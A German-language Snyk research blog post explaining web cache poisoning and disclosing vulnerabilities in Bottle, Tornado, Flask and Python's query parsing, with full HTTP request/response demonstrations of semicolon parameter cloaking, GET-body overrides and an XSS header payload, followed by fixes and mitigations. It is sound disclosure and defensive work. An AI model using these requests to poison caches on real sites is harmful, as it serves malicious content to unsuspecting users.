Skip to main content

Cache-Poisoning in beliebten Open-Source-Paketen

Artikel von
Headshot of Adam Goldschmidt

Adam Goldschmidt

Package Lock Files blog

18. Januar 2021

0 Min. Lesezeit

Aufbauend auf der Forschung von James Kettle von PortSwigger zu Web-Cache-Poisoning wollte das Snyk-Sicherheitsteam sein Wissen auf diesem Gebiet vertiefen und diese Schwachstellen im Open-Source-Bereich untersuchen. Unsere Forschung konzentrierte sich auf die beliebtesten Web-Frameworks in npm und PyPI, darunter Flask (Werkzeug), Bottle, Tornado und DerbyJS.

Dieser Blogbeitrag führt in Web-Cache-Poisoning ein und zeigt, warum Open-Source-Maintainer dieses Thema berücksichtigen sollten. Außerdem enthält der Beitrag Beispiele für Schwachstellen in bekannten Open-Source-Frameworks, die Snyk bei der ersten Untersuchung als verwundbar identifiziert hat.

Cache-Poisoning erklärt

Web-Cache-Poisoning ist ein Angriff, bei dem der Cache dazu gebracht wird, auf gültige Anfragen schädliche Antworten auszuliefern. Möglich wird dies durch nicht im Cache-Schlüssel enthaltene Parameter, die zwar im Cache gespeichert, aber im Cache-Schlüssel nicht berücksichtigt werden (daher „nicht im Schlüssel enthalten“). Um den Angriff vollständig zu verstehen, sollten Sie zunächst wissen, wie Web-Caching funktioniert.

Was ist ein Cache-Proxy?

Ein Cache-Proxy ist Teil eines Reverse-Proxys – einer Zwischenstation zwischen Client und Webserver. Wenn Nutzer eine Website aufrufen, interpretieren Proxys Anfragen und beantworten sie im Namen des ursprünglichen Servers. Proxy-Caching ist eine Funktion eines Reverse-Proxys, die Antworten schneller an Nutzer ausliefert.

Wie funktioniert Caching?

Beim Caching werden häufig abgerufene Inhalte gespeichert, damit spätere Anfragen nach diesen Inhalten schneller beantwortet werden können.

Cache-Schlüssel dienen dazu, dass der Cache Antworten wiederfindet. Ein Cache-Schlüssel besteht in der Regel aus den Werten eines oder mehrerer Antwort-Header und einem Teil der URL.

Bei der folgenden HTTP-Anfrage könnte der Cache-Schlüssel beispielsweise localhost/p/?a=1 lauten.

GET /p/?a=1 HTTP/1.1
Host: localhost
Origin: example
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Diagram showing a client and server communicating through a reverse proxy with a cache and a cached response path.

Geht eine neue Anfrage ein und findet der Cache einen passenden Cache-Schlüssel, wird die gespeicherte Antwort ausgeliefert, anstatt eine neue zu generieren.

Wie das obige Beispiel zeigt, können Header die Antwort beeinflussen, ohne im Cache-Schlüssel berücksichtigt zu werden. Ändern wir ihre Werte, wird die Antwort also am selben „Ort“ im Cache gespeichert, aber mit einem anderen Wert.

Die folgende Tabelle zeigt, wie drei verschiedene Anfragen mit dem Cache-Schlüssel $host$query_args verarbeitet werden:

Host

Accept-Encoding

Query-Parameter

Cache-Schlüssel

example.com

gzip, deflate

?q=search

example.com?q=search

example.com

identity

?q=search

example.com?q=search

snyk.io

gzip, deflat

snyk.io

Die ersten beiden Zeilen haben trotz unterschiedlicher Accept-Encoding-Werte denselben Cache-Schlüssel und werden daher am selben Ort im Cache gespeichert.

Nicht im Cache-Schlüssel enthaltene Parameter verstehen

Diagram showing cache poisoning: a reverse proxy caches a malicious response for the popular query and serves it to another user.

Eingaben, die nicht Teil des Cache-Schlüssels sind, werden als nicht im Schlüssel enthaltene Parameter bezeichnet. Problematisch wird es, wenn diese Parameter bösartiges Verhalten in der Anwendung auslösen können. So kann ein Angreifer beispielsweise aus einem reflektierten XSS ein gespeichertes XSS machen. Sehen wir uns dazu diese Anfrage an:

GET / HTTP/1.1
Host: somesite.com
Origin: <script>alert(1)</script>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Angenommen, der Parameter Origin wird ungefiltert ausgegeben und kann ein XSS auslösen, ist aber nicht im Cache-Schlüssel enthalten. Dann erhalten alle Nutzer, die somesite.com/ aufrufen, die schädliche Antwort, bis sie aus dem Cache entfernt wird.

Weitere Informationen zu Cache-Poisoning und möglichen Angriffsvektoren finden Sie in diesen Beiträgen von James Kettle: Practical Web Cache Poisoning und Web Cache Entanglement: Novel Pathways to Poisoning.

Schwachstellen in Web-Frameworks untersuchen

Mit einem Web-Framework können Entwickler HTTP-Antworten einfach generieren. Laut Wikipedia: „Web-Frameworks bieten eine standardisierte Methode zum Erstellen und Bereitstellen von Webanwendungen im World Wide Web. Sie sollen den Aufwand für häufige Aufgaben in der Webentwicklung automatisieren.“ In der Regel enthalten diese Frameworks Sicherheitsmaßnahmen, die Entwicklern die Arbeit zusätzlich erleichtern.

Entwickler verwenden Web-Frameworks häufig zusammen mit einem Cache-Proxy wie NGINX oder Varnish.

Diese Forschung zeigt, dass viele der heute beliebten Frameworks standardmäßig für Web-Cache-Poisoning anfällig sind – nahezu unabhängig vom verwendeten Cache-Proxy. Eine Ausnahme gilt, wenn der Proxy ausdrücklich so konfiguriert ist, dass er sich vor solchen Angriffen schützt. Vielen Entwicklern ist das jedoch nicht bewusst, oder sie wissen nicht genug darüber. Die folgenden Angriffsvektoren wurden mit NGINX und Varnish in mehreren Web-Frameworks getestet.

GET-Parameter-Verschleierung in Python und Bottle

Diagram showing cache poisoning: a malicious query primes a reverse proxy cache, causing a later request to receive q=malicious.

Kann ein Angreifer Query-Parameter mit einem Semikolon ; voneinander trennen, kann er dafür sorgen, dass Proxy (mit Standardkonfiguration) und Server die Anfrage unterschiedlich interpretieren. So können schädliche Anfragen als völlig unbedenkliche Anfragen im Cache landen: Der Proxy erkennt das Semikolon üblicherweise nicht als Trennzeichen und nimmt es daher nicht in den Cache-Schlüssel auf – etwa bei nicht im Schlüssel enthaltenen Parametern wie utm_*, die üblicherweise nicht im Schlüssel enthalten sind. Die W3C-Empfehlung sieht stattdessen kaufmännische Und-Zeichen als Trennzeichen vor („Let strings be the result of strictly splitting the string payload on U+0026 AMPERSAND characters (&)“).

Besonders hervorzuheben ist der Quellcode von Python (CVE-2021-23336). Er enthält die Methode parse_qsl, die URL-Query-Parameter sowohl anhand eines Semikolons als auch eines kaufmännischen Und-Zeichens zerlegt. Diese Methode wird dann in Frameworks wie Tornado zum Parsen von Query-Parametern verwendet, was zu einer Angriffskette für Web-Cache-Poisoning führen kann.

Bottle (CVE-2020-28473), Tornado und Rack erwiesen sich als verwundbar. Sehen wir uns ein Beispiel für diesen Angriffsvektor an, bei dem Bottle ausgenutzt wird.

Ein Angreifer verwendet q=cat als Parameter für ein Suchfeld und überschreibt ihn mit einem anderen Wert. Hier sehen Sie die Anfrage und die Antwort:

GET /search/?q=cat&utm_content=1;q=dog! HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:45:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:45:18 GMT
X-Cache: HIT

Your search query: dog!

Nehmen wir nun an, ein echter Nutzer sucht nach „cat“, während die schädliche Antwort noch im Cache liegt:

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:45:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:45:18 GMT
X-Cache: HIT

Your search query: dog!

Der Angreifer konnte eine legitime Anfrage verändern und den Suchparameter ersetzen. Der Grund: Der Server erkennt hier drei Parameter: q, utm_content, und anschließend erneut q. Er überschreibt den Wert des ersten Parameters q mit dem des letzten. Der Proxy hingegen behandelt die gesamte Zeichenfolge ?q=cat&utm_content=1;q=dog! als Wert von utm_content. Deshalb enthält der Cache-Schlüssel nur localhost?q=cat.

Um diese Schwachstelle zu beheben, sollte nur das kaufmännische Und-Zeichen (&) als Trennzeichen für Query-Parameter verwendet werden, sofern Entwickler nichts anderes festlegen. Werkzeug beispielsweise ermöglicht Entwicklern, benutzerdefinierte Trennzeichen anzugeben, und verwendet standardmäßig das kaufmännische Und-Zeichen. Die Bottle-Maintainer haben das Problem behoben, indem sie das Aufteilen von Query-Strings anhand von ; in Version 0.12.19 eingestellt haben. Auch das Rails-Framework erwies sich für diese Methode als verwundbar (entdeckt von James Kettle und mit Unterstützung von Jonathan Leitschuh an uns gemeldet). Zum Zeitpunkt der Veröffentlichung war das Problem jedoch noch nicht behoben.

Schwachstellen durch GET-Body-Parameter („Fat GET“) in Flask und Tornado

Diagram showing cache poisoning: a reverse proxy omits the Origin header from its cache key, causing XSS content to reach both clients.

Bei einigen Proxys, beispielsweise NGINX, lassen sich Body-Parameter in eine GET-Anfrage aufnehmen. Die HTTP-RFC verbietet dies zwar nicht ausdrücklich („Ein Payload in einer GET-Anfragenachricht hat keine definierte Semantik; das Senden eines Payload-Bodys in einer GET-Anfrage kann dazu führen, dass bestehende Implementierungen die Anfrage ablehnen“), doch mehrere Frameworks beziehen diese Parameter in integrierte Methoden ein, die nicht ausdrücklich für Body-Parameter vorgesehen sind.

Dadurch kann es passieren, dass Entwickler GET-Query-Parameter abrufen möchten, stattdessen aber Body-Parameter erhalten. Da diese Parameter nicht im Cache-Schlüssel enthalten sind, kann es zu zwei Problemen kommen:

Parameter überschreiben

Ein Angreifer kann GET-Query-Parameter mit GET-Body-Parametern überschreiben und anderen Nutzern die zwischengespeicherte Antwort ausliefern.

Dieses Problem wurde in Tornado in Verbindung mit NGINX gefunden.

Da Tornado Body-Parametern Vorrang gibt, konnten Anfragen unbescholtener Nutzer mit schädlichen Werten überschrieben werden. Suchen wir wie im vorherigen Beispiel nach einer Katze:

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 6

q=dog!

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:51:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:51:53 GMT
X-Cache: HIT

Your search query: dog!

Sucht nun ein Nutzer nach „cat“, läuft Folgendes ab:

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:53:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:51:55 GMT
X-Cache: HIT

Your search query: dog!

Wenn eine reflektierte Cross-Site-Scripting-Schwachstelle (XSS) vorliegt, kann diese Technik genutzt werden, um daraus ein gespeichertes XSS zu machen, das sich an andere Nutzer der Anwendung ausliefern lässt.

Zusätzliche Parameter einschleusen

Ein Angreifer kann zusätzliche Parameter einschleusen und anderen Nutzern die zwischengespeicherte Antwort ausliefern. Das ist weniger schwerwiegend als die erste Möglichkeit, kann aber in Kombination mit den passenden Gadgets kritisch sein (ein Beispiel ist die Änderung der Anfragemethode über _method in bestimmten Implementierungen). Für Flask ließ sich dies nachweisen.

GET /report HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 32

{“reason”:”this is an extra field”}

Diese Anfrage würde dazu führen, dass alle nachfolgenden Anfragen unbescholtener Nutzer den zusätzlichen Parameter enthalten.

Snyk stellte fest, dass mehrere Frameworks dieses Verhalten zuließen. Mehrere von uns kontaktierte Maintainer sahen darin jedoch keine direkte Schwachstelle ihres Pakets. Deshalb hat Snyk beschlossen, für diese Probleme keine Sicherheitshinweise zu veröffentlichen.

Die Pakete selbst könnten das Problem dennoch beheben, indem sie verhindern, dass Entwickler über diese mehrdeutigen Methoden auf Body-Daten zugreifen. Viele Entwickler nutzen request.params aus Bequemlichkeit, ohne die möglichen Folgen zu kennen. Eine andere Lösung besteht darin, Body-Parametern bei diesen mehrdeutigen Methoden keinen Vorrang zu geben, damit legitime Query-Parameter nicht überschrieben werden können.

Die Werkzeug-Maintainer haben beispielsweise verhindert, dass request.values bei GET-Anfragen request.form verwendet. Die Tornado-Maintainer haben sich für einen anderen Ansatz entschieden: ein Flag, mit dem das Parsen von GET-Request-Bodys ausdrücklich aktiviert werden muss (diese Änderung wurde noch nicht veröffentlicht).

Umfang der Behebung

Im Rahmen dieser Forschung haben wir zahlreiche Fälle identifiziert, in denen die Komplexität der verschiedenen Angriffsvektoren dazu führte, dass Maintainer nicht immer wussten, ob die Behebung in den Zuständigkeitsbereich ihrer Bibliothek fiel oder auf Proxy-Ebene erfolgen sollte.

Es gibt viele verschiedene Szenarien, in denen Cache-Poisoning auftreten kann. Es liegt nicht in der Verantwortung eines Web-Frameworks, alle davon abzuwehren. Dennoch kann ein Web-Framework durch zusätzliche Defense-in-Depth-Maßnahmen vor einigen dieser Szenarien schützen.

Man könnte argumentieren, dass Proxys GET-Body-Parameter nicht ignorieren sollten, da sie in vielen Implementierungen weiterhin verwendet werden. Sie könnten diese jedoch wie Query-Parameter als Schlüssel berücksichtigen. Außerdem können Frameworks verhindern, dass Entwickler mehrdeutige Methoden verwenden, und gleichzeitig Body-Parameter zulassen. Gleiches gilt für die Verschleierung von Parametern: Proxys sollten Semikolons nicht als Trennzeichen verwenden, da dies laut RFC nicht empfohlen wird. Frameworks könnten sie jedoch nur dann zulassen, wenn Entwickler dies ausdrücklich festlegen.

Als Entwickler das Risiko von Cache-Poisoning minimieren

Einzelne Entwickler können das Risiko einer Verwundbarkeit senken, indem sie folgende Punkte beachten:

  • Cache-Schlüssel beachten:Wenn Ihr Server Query-Parameter anhand eines Semikolons trennt, muss Ihr Cache-Proxy dies ebenfalls tun. Achten Sie außerdem darauf, dass Ihr Cache-Schlüssel die erforderlichen Header enthält, damit Angreifer nicht über Parameter, die nicht im Schlüssel enthalten sind, Web-Cache-Poisoning auslösen können.

  • GET-Body-Parameter ignorieren, sofern sie für den Programmablauf nicht benötigt werden. Falls doch, verwenden Sie sie nur, wenn es nötig ist.

  • Erkennen und beheben Sie weitere Sicherheitslücken in Ihrer Anwendung:Web-Cache-Poisoning wird häufig als Teil einer Angriffskette eingesetzt. Dabei kann ein Angreifer anderen Nutzern eine schädliche Antwort ausliefern und beispielsweise aus einem reflektierten XSS-Angriff einen gespeicherten machen. Entwickler sollten ihre Anwendungen bestmöglich vor diesen häufigen Sicherheitslücken schützen, auch wenn sie weniger schwerwiegend erscheinen.

Zusammenfassung

Zusammenfassend zeigt diese Untersuchung, dass Open-Source-Frameworks fast unabhängig vom verwendeten Proxy für Web-Cache-Poisoning-Angriffe anfällig sind (mit einigen Ausnahmen). Diese Angriffe lassen sich zwar auf Proxy-Ebene abwehren, doch viele Entwickler kennen diese Angriffsvektoren nicht und setzen die erforderlichen Schutzmaßnahmen auf Cache- und Proxy-Ebene nicht um.

Dieser Blogbeitrag soll das Bewusstsein in der Entwickler-Community schärfen. Er zeigt zwar nur zwei mögliche Angriffsvektoren für Web-Cache-Poisoning, doch in freier Wildbahn gibt es noch viele weitere. Entwickler sollten versuchen, die oben genannten Punkte zu befolgen und diese ungewöhnlichen Sicherheitslücken stets im Blick zu behalten.

Starten Sie mit Capture-the-Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.